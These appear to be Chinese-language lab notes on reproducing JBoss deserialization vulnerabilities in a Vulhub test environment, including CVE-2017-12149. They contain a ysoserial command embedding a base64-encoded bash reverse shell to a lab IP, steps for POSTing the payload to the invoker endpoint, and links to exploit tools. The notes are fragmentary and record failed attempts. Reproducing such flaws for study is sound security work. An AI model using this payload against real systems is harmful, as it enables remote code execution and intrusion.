JBoss JMXInvokerServlet 反序列化漏洞
https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/
https://paper.seebug.org/312/
https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/
JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。
访问192.168.33.130:8080/invoker/JMXInvokerServlet只要有文件下载,目标网站即存在JBoss JMXInvokerServlet 反序列化漏洞。
JBoss在处理/invoker/JMXInvokerServlet
请求的时候读取了对象,所以我们直接将ysoserial
生成好的POC附在POST Body中发送即可。
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
EXP,比如DeserializeExploit.jar
,直接用该工具执行命令、上传文件即可:
(工具不给力呀)
https://bbs.ichunqiu.com/thread-26613-1-1.html
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg
所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞。
编写反弹shell的命令
使用bash来反弹shell,但由于Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,我们需要用进行一次编码:http://www.jackson-t.ca/runtime-exec-payloads.html
得到编码后命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS8yMSAwPiYx}|{base64,-d}|{bash,-i}
序列化数据生成
使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
发送POC
生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可:
不知道为啥不成功
成功反弹shell:
并没有
https://blog.csdn.net/Jerry____/article/details/103506224
https://www.cnblogs.com/yuzly/p/11240145.html
这个工具 ↓ 可以 https://github.com/yunxu1/jboss-_CVE-2017-12149
JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
。。。